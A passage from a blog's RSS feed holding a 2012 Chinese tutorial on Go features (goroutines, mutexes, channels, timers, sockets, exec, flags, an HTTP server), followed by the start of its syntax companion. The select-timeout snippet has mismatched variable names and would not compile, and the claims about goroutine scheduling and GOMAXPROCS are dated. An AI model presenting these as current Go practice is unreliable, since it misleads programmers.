19:46:36.8975894 +0800 +0800\ngo_01  lasted  1.0001s\ngo_02  end at  2012-11-04 19:46:38.8987895 +0800 +0800\ngo_02  lasted  3.0013001s\ngo_00  end at  2012-11-04 19:46:39.8978894 +0800 +0800\ngo_00  lasted  4.0004s\n</pre>\n<h4>goroutine的并发安全性</h4>\n<p>关于goroutine，我试了一下，无论是Windows还是Linux，基本上来说是用操作系统的线程来实现的。不过，goroutine有个特性，也就是说，<strong>如果一个goroutine没有被阻塞，那么别的goroutine就不会得到执行</strong>。这并不是真正的并发，如果你要真正的并发，你需要在你的main函数的第一行加上下面的这段代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">import &quot;runtime&quot;\n...\nruntime.GOMAXPROCS(4)</pre>\n<p>还是让我们来看一个有并发安全性问题的示例（注意：我使用了C的方式来写这段Go的程序）</p>\n<p>这是一个经常出现在教科书里卖票的例子，我启了5个goroutine来卖票，卖票的函数sell_tickets很简单，就是随机的sleep一下，然后对全局变量total_tickets作减一操作。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\n\nimport &quot;fmt&quot;\nimport &quot;time&quot;\nimport &quot;math/rand&quot;\nimport &quot;runtime&quot;\n\nvar total_tickets int32 = 10;\n\nfunc sell_tickets(i int){\n    for{\n        if total_tickets &gt; 0 { //如果有票就卖\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets-- //卖一张票\n            fmt.Println(&quot;id:&quot;, i, &quot;  ticket:&quot;, total_tickets)\n        }else{\n            break\n        }\n    }\n}\n\nfunc main() {\n    runtime.GOMAXPROCS(4) //我的电脑是4核处理器，所以我设置了4\n    rand.Seed(time.Now().Unix()) //生成随机种子\n\n    for i := 0; i &lt; 5; i++ { //并发5个goroutine来卖票\n         go sell_tickets(i)\n    }\n    //等待线程执行完\n    var input string\n    fmt.Scanln(&amp;input)\n    fmt.Println(total_tickets, &quot;done&quot;) //退出时打印还有多少票\n}</pre>\n<p>这个程序毋庸置疑有并发安全性问题，所以执行起来你会看到下面的结果：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\n$go run sell_tickets.go\nid: 0   ticket: 9  \nid: 0   ticket: 8  \nid: 4   ticket: 7  \nid: 1   ticket: 6  \nid: 3   ticket: 5  \nid: 0   ticket: 4  \nid: 3   ticket: 3  \nid: 2   ticket: 2  \nid: 0   ticket: 1  \nid: 3   ticket: 0  \nid: 1   ticket: -1  \nid: 4   ticket: -2  \nid: 2   ticket: -3  \nid: 0   ticket: -4  \n-4 done</pre>\n<p>可见，我们需要使用上锁，我们可以使用互斥量来解决这个问题。下面的代码，我只列出了修改过的内容：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"5,9,13,19\"> package main\nimport &quot;fmt&quot;\nimport &quot;time&quot;\nimport &quot;math/rand&quot;\nimport &quot;sync&quot;\nimport &quot;runtime&quot;\n\nvar total_tickets int32 = 10;\nvar mutex = &amp;sync.Mutex{} //可简写成：var mutex sync.Mutex\n\nfunc sell_tickets(i int){\n    for total_tickets&gt;0 {\n        mutex.Lock()\n        if total_tickets &gt; 0 {\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets--\n            fmt.Println(i, total_tickets)\n        }\n        mutex.Unlock()\n    }\n}\n.......\n......\n</pre>\n<h4>原子操作</h4>\n<p>说到并发就需要说说原子操作，相信大家还记得我写的那篇《<a title=\"无锁队列的实现\" href=\"https://coolshell.cn/articles/8239.html\" target=\"_blank\" rel=\"noopener noreferrer\">无锁队列的实现</a>》一文，里面说到了一些CAS &#8211; CompareAndSwap的操作。Go语言也支持。你可以看一下相当的文档</p>\n<p>我在这里就举一个很简单的示例：下面的程序有10个goroutine，每个会对cnt变量累加20次，所以，最后的cnt应该是200。如果没有atomic的原子操作，那么cnt将有可能得到一个小于200的数。</p>\n<p>下面使用了atomic操作，所以是安全的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"5,13,18\">package main\n\nimport &quot;fmt&quot;\nimport &quot;time&quot;\nimport &quot;sync/atomic&quot;\n\nfunc main() {\n    var cnt uint32 = 0\n    for i := 0; i &lt; 10; i++ {\n        go func() {\n            for i:=0; i&lt;20; i++ {\n                time.Sleep(time.Millisecond)\n                atomic.AddUint32(&amp;cnt, 1)\n            }\n        }()\n    }\n    time.Sleep(time.Second)//等一秒钟等goroutine完成\n    cntFinal := atomic.LoadUint32(&amp;cnt)//取数据\n    fmt.Println(&quot;cnt:&quot;, cntFinal)\n}</pre>\n<p>这样的函数还有很多，参看<a href=\"http://golang.org/pkg/sync/atomic/\" target=\"_blank\" rel=\"noopener noreferrer\">go的atomic包文档</a>（被墙）</p>\n<h4>Channel 信道</h4>\n<p>Channal是什么？Channal就是用来通信的，就像Unix下的管道一样，在Go中是这样使用Channel的。</p>\n<p>下面的程序演示了一个goroutine和主程序通信的例程。这个程序足够简单了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"7,10\">\npackage main\n\nimport &quot;fmt&quot;\n\nfunc main() {\n    //创建一个string类型的channel\n    channel := make(chan string)\n\n    //创建一个goroutine向channel里发一个字符串\n    go func() { channel &lt;- &quot;hello&quot; }()\n\n    msg := &lt;- channel\n    fmt.Println(msg)\n}[</pre>\n<p><strong>指定channel的buffer</strong></p>\n<p>指定buffer的大小很简单，看下面的程序：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"5\">package main\nimport &quot;fmt&quot;\n\nfunc main() {\n    channel := make(chan string, 2)\n\n    go func() {\n        channel &lt;- &quot;hello&quot;\n        channel &lt;- &quot;World&quot;\n    }()\n\n    msg1 := &lt;-channel\n    msg2 := &lt;-channel\n    fmt.Println(msg1, msg2)\n}</pre>\n<p><strong>Channel的阻塞</strong></p>\n<p>注意，channel默认上是阻塞的，也就是说，如果Channel满了，就阻塞写，如果Channel空了，就阻塞读。于是，我们就可以使用这种特性来同步我们的发送和接收端。</p>\n<p>下面这个例程说明了这一点，代码有点乱，不过我觉得不难理解。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport &quot;fmt&quot;\nimport &quot;time&quot;\n\nfunc main() {\n\n    channel := make(chan string) //注意: buffer为1\n\n    go func() {\n        channel &lt;- &quot;hello&quot;\n        fmt.Println(&quot;write \\&quot;hello\\&quot; done!&quot;)\n\n        channel &lt;- &quot;World&quot; //Reader在Sleep，这里在阻塞\n        fmt.Println(&quot;write \\&quot;World\\&quot; done!&quot;)\n\n        fmt.Println(&quot;Write go sleep...&quot;)\n        time.Sleep(3*time.Second)\n        channel &lt;- &quot;channel&quot;\n        fmt.Println(&quot;write \\&quot;channel\\&quot; done!&quot;)\n    }()\n\n    time.Sleep(2*time.Second)\n    fmt.Println(&quot;Reader Wake up...&quot;)\n\n    msg := &lt;-channel\n    fmt.Println(&quot;Reader: &quot;, msg)\n\n    msg = &lt;-channel\n    fmt.Println(&quot;Reader: &quot;, msg)\n\n    msg = &lt;-channel //Writer在Sleep，这里在阻塞\n    fmt.Println(&quot;Reader: &quot;, msg)\n}</pre>\n<p>上面的代码输出的结果如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nReader Wake up...\nReader:  hello\nwrite &quot;hello&quot; done!\nwrite &quot;World&quot; done!\nWrite go sleep...\nReader:  World\nwrite &quot;channel&quot; done!\nReader:  channel\n</pre>\n<p><strong>Channel阻塞的这个特性还有一个好处是，可以让我们的goroutine在运行的一开始就阻塞在从某个channel领任务，这样就可以作成一个类似于线程池一样的东西。关于这个程序我就不写了。我相信你可以自己实现的。</strong></p>\n<p><strong>多个Channel的select</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\nimport &quot;time&quot;\nimport &quot;fmt&quot;\n\nfunc main() {\n    //创建两个channel - c1 c2\n    c1 := make(chan string)\n    c2 := make(chan string)\n\n    //创建两个goruntine来分别向这两个channel发送数据\n    go func() {\n        time.Sleep(time.Second * 1)\n        c1 &lt;- &quot;Hello&quot;\n    }()\n    go func() {\n        time.Sleep(time.Second * 1)\n        c2 &lt;- &quot;World&quot;\n    }()\n\n    //使用select来侦听两个channel\n    for i := 0; i &lt; 2; i++ {\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(&quot;received&quot;, msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(&quot;received&quot;, msg2)\n        }\n    }\n}</pre>\n<p>注意：上面的select是阻塞的，所以，才搞出ugly的for i &lt;2这种东西<strong>。<br />\n</strong></p>\n<p><strong>Channel select阻塞的Timeout</strong></p>\n<p>解决上述那个for循环的问题，一般有两种方法：一种是阻塞但有timeout，一种是无阻塞。我们来看看如果给select设置上timeout的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"8\">\n    for {\n        timeout_cnt := 0\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(&quot;msg1 received&quot;, msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(&quot;msg2 received&quot;, msg2)\n        case  &lt;-time.After(time.Second * 30)：\n            fmt.Println(&quot;Time Out&quot;)\n            timout_cnt++\n        }\n        if time_cnt &gt; 3 {\n            break\n        }\n    }\n</pre>\n<p>上面代码中高亮的代码主要是用来让select返回的，注意 case中的time.After事件。</p>\n<p><strong>Channel的无阻塞</strong></p>\n<p>好，我们再来看看无阻塞的channel，其实也很简单，就是在select中加入default，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"8\">\n    for {\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(&quot;received&quot;, msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(&quot;received&quot;, msg2)\n        default: //default会导致无阻塞\n            fmt.Println(&quot;nothing received!&quot;)\n            time.Sleep(time.Second)\n        }\n    }\n</pre>\n<p><strong>Channel的关闭</strong></p>\n<p>关闭Channel可以通知对方内容发送完了，不用再等了。参看下面的例程：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"19,27\">package main\n\nimport &quot;fmt&quot;\nimport &quot;time&quot;\nimport &quot;math/rand&quot;\n\nfunc main() {\n\n    channel := make(chan string)\n    rand.Seed(time.Now().Unix())\n\n    //向channel发送随机个数的message\n    go func () {\n        cnt := rand.Intn(10)\n        fmt.Println(&quot;message cnt :&quot;, cnt)\n        for i:=0; i&lt;cnt; i++{\n            channel &lt;- fmt.Sprintf(&quot;message-%2d&quot;, i)\n        }\n        close(channel) //关闭Channel\n    }()\n\n    var more bool = true\n    var msg string\n    for more {\n        select{\n        //channel会返回两个值，一个是内容，一个是还有没有内容\n        case msg, more = &lt;- channel:\n            if more {\n                fmt.Println(msg)\n            }else{\n                fmt.Println(&quot;channel closed!&quot;)\n            }\n        }\n    }\n}</pre>\n<h4>定时器</h4>\n<p>Go语言中可以使用time.NewTimer或time.NewTicker来设置一个定时器，这个定时器会绑定在你的当前channel中，通过channel的阻塞通知机器来通知你的程序。</p>\n<p>下面是一个timer的示例。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"9\">package main\n\nimport &quot;time&quot;\nimport &quot;fmt&quot;\n\nfunc main() {\n    timer := time.NewTimer(2*time.Second)\n\n    &lt;- timer.C\n    fmt.Println(&quot;timer expired!&quot;)\n}</pre>\n<p>上面的例程看起来像一个Sleep，是的，不过Timer是可以Stop的。你需要注意Timer只通知一次。如果你要像C中的Timer能持续通知的话，你需要使用Ticker。下面是Ticker的例程：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"9\">package main\n\nimport &quot;time&quot;\nimport &quot;fmt&quot;\n\nfunc main() {\n    ticker := time.NewTicker(time.Second)\n\n    for t := range ticker.C {\n        fmt.Println(&quot;Tick at&quot;, t)\n    }\n}</pre>\n<p>上面的这个ticker会让你程序进入死循环，我们应该放其放在一个goroutine中。下面这个程序结合了timer和ticker</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport &quot;time&quot;\nimport &quot;fmt&quot;\n\nfunc main() {\n\n    ticker := time.NewTicker(time.Second)\n\n    go func () {\n        for t := range ticker.C {\n            fmt.Println(t)\n        }\n    }()\n\n    //设置一个timer，10钞后停掉ticker\n    timer := time.NewTimer(10*time.Second)\n    &lt;- timer.C\n\n    ticker.Stop()\n    fmt.Println(&quot;timer expired!&quot;)\n}</pre>\n<h4>Socket编程</h4>\n<p>下面是我尝试的一个Echo Server的Socket代码，感觉还是挺简单的。</p>\n<p><strong>Server端</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"12,19,24,33,36\"> \npackage main\n\nimport (\n    &quot;net&quot;\n    &quot;fmt&quot;\n    &quot;io&quot;\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    listener, err := net.Listen(&quot;tcp&quot;, &quot;0.0.0.0:6666&quot;)//侦听在6666端口\n    if err != nil {\n        panic(&quot;error listening:&quot;+err.Error())\n    }\n    fmt.Println(&quot;Starting the server&quot;)\n\n    for {\n        conn, err := listener.Accept() //接受连接\n        if err != nil {\n            panic(&quot;Error accept:&quot;+err.Error())\n        }\n        fmt.Println(&quot;Accepted the Connection :&quot;, conn.RemoteAddr())\n        go EchoServer(conn)\n    }\n}\n\nfunc EchoServer(conn net.Conn) {\n    buf := make([]byte, RECV_BUF_LEN)\n    defer conn.Close()\n\n    for {\n        n, err := conn.Read(buf);\n        switch err {\n            case nil:\n                conn.Write( buf[0:n] )\n            case io.EOF:\n                fmt.Printf(&quot;Warning: End of data: %s \\n&quot;, err);\n                return\n            default:\n                fmt.Printf(&quot;Error: Reading data : %s \\n&quot;, err);\n                return\n        }\n     }\n}\n</pre>\n<p><strong>Client端</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"12,23,31\">\npackage main\n\nimport (\n    &quot;fmt&quot;\n    &quot;time&quot;\n    &quot;net&quot;\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    conn,err := net.Dial(&quot;tcp&quot;, &quot;127.0.0.1:6666&quot;)\n    if err != nil {\n        panic(err.Error())\n    }\n    defer conn.Close()\n\n    buf := make([]byte, RECV_BUF_LEN)\n\n    for i := 0; i &lt; 5; i++ {\n        //准备要发送的字符串\n        msg := fmt.Sprintf(&quot;Hello World, %03d&quot;, i)\n        n, err := conn.Write([]byte(msg))\n        if err != nil {\n            println(&quot;Write Buffer Error:&quot;, err.Error())\n            break\n        }\n        fmt.Println(msg)\n\n        //从服务器端收字符串\n        n, err = conn.Read(buf)\n        if err !=nil {\n            println(&quot;Read Buffer Error:&quot;, err.Error())\n            break\n        }\n        fmt.Println(string(buf[0:n]))\n\n        //等一秒钟\n        time.Sleep(time.Second)\n    }\n}\n</pre>\n<h4>系统调用</h4>\n<p>Go语言那么C，所以，一定会有一些系统调用。Go语言主要是通过两个包完成的。一个是<a href=\"http://golang.org/pkg/os/\" target=\"_blank\" rel=\"noopener noreferrer\">os包</a>，一个是<a href=\"http://golang.org/pkg/syscall/\" target=\"_blank\" rel=\"noopener noreferrer\">syscall包</a>。（注意，链接被墙）</p>\n<p>这两个包里提供都是Unix-Like的系统调用，</p>\n<ul>\n<li>syscall里提供了什么Chroot/Chmod/Chmod/Chdir&#8230;，Getenv/Getgid/Getpid/Getgroups/Getpid/Getppid&#8230;，还有很多如Inotify/Ptrace/Epoll/Socket/&#8230;的系统调用。</li>\n</ul>\n<ul>\n<li>os包里提供的东西不多，主要是一个跨平台的调用。它有三个子包，Exec（运行别的命令）, Signal（捕捉信号）和User（通过uid查name之类的）</li>\n</ul>\n<p>syscall包的东西我不举例了，大家可以看看《Unix高级环境编程》一书。</p>\n<p>os里的取几个例：</p>\n<p><strong>环境变量</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport &quot;os&quot;\nimport &quot;strings&quot;\n\n\nfunc main() {\n    os.Setenv(&quot;WEB&quot;, &quot;https://coolshell.cn&quot;) //设置环境变量\n    println(os.Getenv(&quot;WEB&quot;)) //读出来\n\n    for _, env := range os.Environ() { //穷举环境变量\n        e := strings.Split(env, &quot;=&quot;)\n        println(e[0], &quot;=&quot;, e[1])\n    }\n}\n</pre>\n<h4>执行命令行</h4>\n<p>下面是一个比较简单的示例</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\nimport &quot;os/exec&quot;\nimport &quot;fmt&quot;\nfunc main() {\n    cmd := exec.Command(&quot;ping&quot;, &quot;127.0.0.1&quot;)\n    out, err := cmd.Output()\n    if err!=nil {\n        println(&quot;Command Error!&quot;, err.Error())\n        return\n    }\n    fmt.Println(string(out))\n}</pre>\n<p>正规一点的用来处理标准输入和输出的示例如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport (\n    &quot;strings&quot;\n    &quot;bytes&quot;\n    &quot;fmt&quot;\n    &quot;log&quot;\n    &quot;os/exec&quot;\n)\n\nfunc main() {\n    cmd := exec.Command(&quot;tr&quot;, &quot;a-z&quot;, &quot;A-Z&quot;)\n    cmd.Stdin = strings.NewReader(&quot;some input&quot;)\n    var out bytes.Buffer\n    cmd.Stdout = &amp;out\n    err := cmd.Run()\n    if err != nil {\n        log.Fatal(err)\n    }\n    fmt.Printf(&quot;in all caps: %q\\n&quot;, out.String())\n}</pre>\n<h4>命令行参数</h4>\n<p>Go语言中处理命令行参数很简单：(使用os的Args就可以了)</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"2\">func main() {\n    args := os.Args\n    fmt.Println(args) //带执行文件的\n    fmt.Println(args[1:]) //不带执行文件的\n}</pre>\n<p>在Windows下，如果运行结果如下：</p>\n<p><code>C:\\Projects\\Go>go run args.go aaa bbb ccc ddd<br />\n[C:\\Users\\haoel\\AppData\\Local\\Temp\\go-build742679827\\command-line-arguments&#95;<br />\nobj\\a.out.exe aaa bbb ccc ddd]<br />\n[aaa bbb ccc ddd]</code></p>\n<p>那么，如果我们要搞出一些像 mysql -uRoot -hLocalhost -pPwd 或是像 cc -O3 -Wall -o a a.c 这样的命令行参数我们怎么办？Go提供了一个package叫flag可以容易地做到这一点</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"13\">\npackage main\nimport &quot;flag&quot;\nimport &quot;fmt&quot;\n\nfunc main() {\n\n    //第一个参数是“参数名”，第二个是“默认值”，第三个是“说明”。返回的是指针\n    host := flag.String(&quot;host&quot;, &quot;coolshell.cn&quot;, &quot;a host name &quot;)\n    port := flag.Int(&quot;port&quot;, 80, &quot;a port number&quot;)\n    debug := flag.Bool(&quot;d&quot;, false, &quot;enable/disable debug mode&quot;)\n\n    //正式开始Parse命令行参数\n    flag.Parse()\n\n    fmt.Println(&quot;host:&quot;, *host)\n    fmt.Println(&quot;port:&quot;, *port)\n    fmt.Println(&quot;debug:&quot;, *debug)\n}</pre>\n<p>执行起来会是这个样子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\n#如果没有指定参数名，则使用默认值\n$ go run flagtest.go\nhost: coolshell.cn\nport: 80\ndebug: false\n\n#指定了参数名后的情况\n$ go run flagtest.go -host=localhost -port=22 -d\nhost: localhost\nport: 22\ndebug: true\n\n#用法出错了（如：使用了不支持的参数，参数没有=）\n$ go build flagtest.go\n$ ./flagtest -debug -host localhost -port=22\nflag provided but not defined: -debug\nUsage of flagtest:\n  -d=false: enable/disable debug mode\n  -host=&quot;coolshell.cn&quot;: a host name\n  -port=80: a port number\nexit status 2\n</pre>\n<p>感觉还是挺不错的吧。</p>\n<h4>一个简单的HTTP Server</h4>\n<p>代码胜过千言万语。呵呵。这个小程序让我又找回以前用C写CGI的时光了。（Go的官方文档是《<strong><a href=\"http://golang.org/doc/articles/wiki/\" target=\"_blank\" rel=\"noopener noreferrer\">Writing Web Applications</a></strong>》）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport (\n    &quot;fmt&quot;\n    &quot;net/http&quot;\n    &quot;io/ioutil&quot;\n    &quot;path/filepath&quot;\n)\n\nconst http_root = &quot;/home/haoel/coolshell.cn/&quot;\n\nfunc main() {\n    http.HandleFunc(&quot;/&quot;, rootHandler)\n    http.HandleFunc(&quot;/view/&quot;, viewHandler)\n    http.HandleFunc(&quot;/html/&quot;, htmlHandler)\n\n    http.ListenAndServe(&quot;:8080&quot;, nil)\n}\n\n//读取一些HTTP的头\nfunc rootHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, &quot;rootHandler: %s\\n&quot;, r.URL.Path)\n    fmt.Fprintf(w, &quot;URL: %s\\n&quot;, r.URL)\n    fmt.Fprintf(w, &quot;Method: %s\\n&quot;, r.Method)\n    fmt.Fprintf(w, &quot;RequestURI: %s\\n&quot;, r.RequestURI )\n    fmt.Fprintf(w, &quot;Proto: %s\\n&quot;, r.Proto)\n    fmt.Fprintf(w, &quot;HOST: %s\\n&quot;, r.Host) \n}\n\n//特别的URL处理\nfunc viewHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, &quot;viewHandler: %s&quot;, r.URL.Path)\n}\n\n//一个静态网页的服务示例。（在http_root的html目录下）\nfunc htmlHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Printf(&quot;htmlHandler: %s\\n&quot;, r.URL.Path)\n    \n    filename := http_root + r.URL.Path\n    fileext := filepath.Ext(filename)\n\n    content, err := ioutil.ReadFile(filename)\n    if err != nil {\n        fmt.Printf(&quot;   404 Not Found!\\n&quot;)\n        w.WriteHeader(http.StatusNotFound)\n        return\n    }\n    \n    var contype string\n    switch fileext {\n        case &quot;.html&quot;, &quot;htm&quot;:\n            contype = &quot;text/html&quot;\n        case &quot;.css&quot;:\n            contype = &quot;text/css&quot;\n        case &quot;.js&quot;:\n            contype = &quot;application/javascript&quot;\n        case &quot;.png&quot;:\n            contype = &quot;image/png&quot;\n        case &quot;.jpg&quot;, &quot;.jpeg&quot;:\n            contype = &quot;image/jpeg&quot;\n        case &quot;.gif&quot;:\n            contype = &quot;image/gif&quot;\n        default: \n            contype = &quot;text/plain&quot;\n    }\n    fmt.Printf(&quot;ext %s, ct = %s\\n&quot;, fileext, contype)\n    \n    w.Header().Set(&quot;Content-Type&quot;, contype)\n    fmt.Fprintf(w, &quot;%s&quot;, content)\n    \n}</pre>\n<p>Go的功能库有很多，大家自己慢慢看吧。<strong>我再吐个槽——Go的文档真不好读。例子太少了</strong>。</p>\n<p>先说这么多吧。这是我周末两天学Go语言学到的东西，写得太仓促了，而且还有一些东西理解不到位，还大家请指正！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8489.html\">Go 语言简介（下）— 特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8489.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>95</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 语言简介（上）— 语法</title>\n\t\t<link>https://coolshell.cn/articles/8460.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8460.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 06 Nov 2012 00:27:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8460</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>周末天气不好，只能宅在家里，于是就顺便看了一下Go语言，觉得比较有意思，所以写篇文章介绍一下。我想写一篇你可以在乘坐地铁或公交车上下班时就可以初步了解一门语言的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8460.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8460.html\">Go 语言简介（上）— 语法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>周末天气不好，只能宅在家里，于是就顺便看了一下Go语言，觉得比较有意思，所以写篇文章介绍一下。<strong>我想写一篇你可以在乘坐地铁或公交车上下班时就可以初步了解一门语言的文章</strong>。所以，下面的文章主要是以代码和注释为主。只需要你对C语言，Unix，Python有一点基础，我相信你会在30分钟左右读完并对Go语言有一些初步了解的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8485\" title=\"go\" src=\"https://coolshell.cn/wp-content/uploads/2012/11/go2.jpg\" alt=\"\" width=\"435\" height=\"255\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/11/go2.jpg 435w, https://coolshell.cn/wp-content/uploads/2012/11/go2-300x176.jpg 300w\" sizes=\"(max-width: 435px) 100vw, 435px\" /></p>\n<h4>Hello World</h4>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\n//文件名：hello.go\npackage main //声明本文件的package名\n\nimport &quot;fmt&quot; //import语言的fmt库——用于输出\n\nfunc main() {\n    fmt.Println(&quot;hello world&quot;)\n}</pre>\n<p><span id=\"more-8460\"></span></p>\n<h4>运行</h4>\n<p>你可以有两种运行方式，</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\n#解释执行（实际是编译成a.out再执行）\n$go run hello.go\nhello world\n\n#编译执行\n$go build hello.go\n\n$ls\nhello hello.go\n\n$./hello\nhello world</pre>\n<h4>自己的package</h4>\n<p>你可以使用GOPATH环境变量，或是使用相对路径来import你自己的package。</p>\n<p>Go的规约是这样的：</p>\n<p style=\"padding-left: 30px;\">1）<strong>在import中，你可以使用相对路径，如 ./或 ../ 来引用你的package</strong></p>\n<p 